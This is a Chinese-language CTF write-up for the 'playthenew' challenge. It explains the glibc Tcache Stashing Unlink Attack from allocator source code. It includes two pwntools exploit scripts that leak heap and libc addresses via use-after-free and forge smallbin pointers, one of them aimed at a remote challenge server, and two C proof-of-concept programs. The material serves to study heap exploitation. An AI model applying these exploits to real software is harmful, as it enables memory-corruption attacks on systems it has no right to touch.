playthenew

久闻Tcache Stashing Unlink Attack大名一直不会,今日就着这题学习一下。

[Glibc中堆管理的变化][https://www.freebuf.com/articles/system/234219.html]

漏洞原理

[Tcache Stashing Unlink Attack原理][https://blog.csdn.net/seaaseesa/article/details/105870247]

Tcache Stashing Unlink Attack利用了calloc的分配特性,calloc不从tcache bin里取chunk,而是会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法插入到tcache bin里。首先,我们来看一下glibc 2.29的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* 
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck; //将victim从small bin的链表中卸下
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //将当前chunk从small bin里卸下
bck->fd = bin;
//放入tcache bin里
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

如上,从small bin中取出最后一个chunk时,对双向链表做了完整性的检查,然而后面将剩余chunk放入tcache bin的时候,却没有这个检查。然后,bck->fd = bin;这句代码,可以将bck->fd处写一个main_arena地址。如果我们可以控制bck,那么就能实现任意地址处写一个main_arena的地址。同理,如果我们能够控制small bin的bck,并且保证vuln_addr->fd = bck,那么就能分配到vuln_addr处。

攻击效果

任意地址写固定值(smallbin的地址)

向任意地址分配一个chunk

攻击前提

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

构造方法

方法1

在smallbin里提前放chunk1、chunk2,tcache填6个

1
chunk2(0x55555555a680)->fd->chunk1(0x55555555a3e0)

这时通过UAF篡改chunk2的bk为0x100000-0x10。注意此处有双向链表的完整性检查,如果不能绕过fd写bk,那么是需要构造fd的(也就是说需要泄露堆地址)。

calloc分配得到chunk1后bck(即chunk2->bk)->fd会被填入bin。

这里0x00007ffff7fbac70是&main_arena+0xf0,即smallbins(0xa0)的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./playthenew.dms')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
io = process('./playthenew.dms')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('183.60.136.226',17381)

s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)

def buy(idx,sz,name='a\n'):
ru('> ')
sl('1')
ru("Input the index:")
sl(str(idx))
ru("input the size of basketball:")
sl(str(sz))#(0x80,0x200]
ru("Input the dancer name:")
s(name)
def delete(idx):
ru('> ')
sl('2')
ru("Input the idx of basketball:")
sl(str(idx))
def show(idx):
ru('> ')
sl('3')
ru("Input the idx of basketball:")
sl(str(idx))
ru('Show the dance:')
def edit(idx,name):
ru('> ')
sl('4')
ru("Input the idx of basketball:")
sl(str(idx))
ru("The new dance of the basketball:")
s(name)
def six(sth):
ru('> ')
sl('5')
ru(b'Input the secret place:')
sl(sth)
def sixsix():
ru('> ')
s(str(0x666)+'\n')

buy(0,0xa0-8,"1")
buy(1,0x150-8,"1")
buy(2,0x150-8,"1")#preserve top
#leak heap
delete(0)
edit(0,'0'*16)
delete(0)
show(0)
heap_base=u64(r(6)+b'\x00\x00')-0x10-0x290
edit(0,'0'*16)
#make tcache 0xa0 6
for i in range(4):
delete(0)
edit(0,'0'*16)
#make tcache 0x150 full
for i in range(7):
delete(1)
edit(1,'0'*16)

delete(1) #0x150->unsorted bin
show(1) #leak libc
libc.address=u64(r(6)+b'\x00\x00')-0x1eabe0
buy(3,0xb0-8,"1") #0xa0->unsorted bin #0xa0+0xb0=0x150
buy(3,0x150-8,"222") #chunk1 0xa0->small bin

buy(4,0x150-8,"222") #preserve top
delete(3) #0x150->unsorted bin
buy(4,0xb0-8,"1") #0xa0->unsorted bin
buy(4,0x150-8,"222") #chunk2 0xa0->small bin

edit(3,b'1'*(0xb0-8)+p64(0xa1)+p64(heap_base+0x3e0)+p64(0x100000-0x10))
gdb.attach(io)
buy(3,0xa0-8,"1") #attack!
io.interactive()

方法2

在smallbin里提前放一个chunk,tcache填6个

这种方法需要手动布置__glibc_unlikely (bck->fd != victim),具体是将chunk的bk改为fakechunk,fakechunk的fd设置为chunk,bk设置为要填入smallbin_addr的地址-0x10。分配chunk后,fakechunk->bk->fd会被填入bin。这种方法和前面方法相比复杂一点。

另外,这里进到tcache的chuck是一个人为构造的假chunk(heap_base+0x340)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./playthenew.dms')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
io = process('./playthenew.dms')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('183.60.136.226',17381)

s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)

def buy(idx,sz,name='a\n'):
ru('> ')
sl('1')
ru("Input the index:")
sl(str(idx))
ru("input the size of basketball:")
sl(str(sz))#(0x80,0x200]
ru("Input the dancer name:")
s(name)
def delete(idx):
ru('> ')
sl('2')
ru("Input the idx of basketball:")
sl(str(idx))
def show(idx):
ru('> ')
sl('3')
ru("Input the idx of basketball:")
sl(str(idx))
ru('Show the dance:')
def edit(idx,name):
ru('> ')
sl('4')
ru("Input the idx of basketball:")
sl(str(idx))
ru("The new dance of the basketball:")
s(name)
def six(sth):
ru('> ')
sl('5')
ru(b'Input the secret place:')
sl(sth)
def sixsix():
ru('> ')
s(str(0x666)+'\n')

buy(0,0xa0-8,"1")
buy(1,0x150-8,"1")
buy(2,0x150-8,"1")#preserve top
#leak heap
delete(0)
edit(0,'0'*16)
delete(0)
show(0)
heap_base=u64(r(6)+b'\x00\x00')-0x10-0x290
edit(0,'0'*16)
#make tcache 0xa0 6
for i in range(4):
delete(0)
edit(0,'0'*16)
#make tcache 0x150 full
for i in range(7):
delete(1)
edit(1,'0'*16)
#leak libc
delete(1)
show(1)
libc.address=u64(r(6)+b'\x00\x00')-0x1eabe0
buy(3,0xb0-8,"1")
buy(3,0x150-8,"222")
c=p64(0)+p64(0xa0)
c+=p64(heap_base+0x3e0) #fakechunk->fd = chunk
c+=p64(0x100000-0x10) #attacked addr
c=c.ljust(0xb0-8,b'a')
c+=p64(0xa1)
c+=p64(0xdeadbeef)
c+=p64(heap_base+0x340) #chunk->bk = fakechunk
edit(1,c)
gdb.attach(io)
buy(3,0xa0-8,"1")
io.interactive()

方法3

前几天打比赛的时候,ama2in9大佬说可以不用calloc,学习一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);
stack_var[5] = 0x00007ffff7dcfd30; ///!!!!&main_arena+0xf0

fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 tcache
fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);//>0x90

//now 5 tcache bins
fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
for(int i = 0;i < 7;i++){
malloc(0x90);
}


fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

malloc(0x90);

fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}
//18.04

一步步分析下:

1
chunk_lis[2][1] = (unsigned long)stack_var;

1
malloc(0x90);

1
target = malloc(0x90);

前面两种方法利用的是当tcache满7个退出从smallbin里取chunk的循环,这里利用的是当smallbin空了后停止从smallbin里取chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while (tcache->counts[tc_idx] < mp_.tcache_count  //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里  
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //将当前chunk从small bin里卸下
bck->fd = bin;
//放入tcache bin里
tcache_put (tc_victim, tc_idx);
}
}

也可以直接这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = 0x00007ffff7dcfd30; ///!!!!&main_arena+0xf0


fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 tcache
fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);//>0x90

//now 5 tcache bins
fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
for(int i = 0;i < 7;i++){
malloc(0x90);
}


fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

malloc(0x90);

fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}
//18.04
1
chunk_lis[2][1] = (unsigned long)stack_var;

1
malloc(0x90);